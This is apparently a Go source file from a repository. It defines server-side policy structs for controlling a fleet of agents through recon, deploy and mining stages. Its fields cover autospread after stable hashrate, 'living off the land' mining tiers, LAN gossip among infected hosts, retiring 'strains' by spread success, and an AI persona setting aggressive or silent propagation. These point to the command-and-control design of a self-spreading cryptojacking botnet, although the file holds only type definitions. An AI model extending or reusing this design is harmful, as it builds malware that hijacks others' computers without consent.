Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
57 lines
2.4 KiB
Go
57 lines
2.4 KiB
Go
package api
|
||
|
||
// ServerPolicy holds Calibrate settings enforced at runtime.
|
||
type ServerPolicy struct {
|
||
MaxAgents int
|
||
LogAgentConnections bool
|
||
LogShareSubmissions bool
|
||
LogPoolTraffic bool
|
||
StrictWalletValidation bool
|
||
MaxBuildSizeMB int
|
||
PoolReconnectSeconds int
|
||
LotlOnionTiers []string
|
||
ServiceDeployAllowlist map[string]ServiceDeployLane
|
||
MiningTierPolicy MiningTierPolicy
|
||
TripleOnionPolicy TripleOnionPolicy
|
||
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
|
||
AIControlEnabled bool
|
||
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
|
||
AIPersona string
|
||
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
|
||
AtlasLanGossipEnabled bool
|
||
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
|
||
FleetRolesEnabled bool
|
||
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
|
||
HashrateGateSpreadMin int
|
||
HashrateGateHPS float64
|
||
// ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans.
|
||
ErasureLanesEnabled bool
|
||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||
FleetTorrentEnabled bool
|
||
AwsS3ShardRegion string
|
||
AwsCloudFrontDomain string
|
||
FargateBurstCampaign bool
|
||
FargateBurstTTLHours int
|
||
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
||
StrainHospiceWinRateThreshold float64
|
||
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
||
StrainHospiceMinAttempts int
|
||
}
|
||
|
||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||
type TripleOnionPolicy struct {
|
||
PatchFirst bool `json:"patch_first,omitempty"`
|
||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||
}
|
||
|
||
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
|
||
type MiningTierPolicy struct {
|
||
TierOrder []string `json:"tier_order,omitempty"`
|
||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||
ForceTier string `json:"force_tier,omitempty"`
|
||
}
|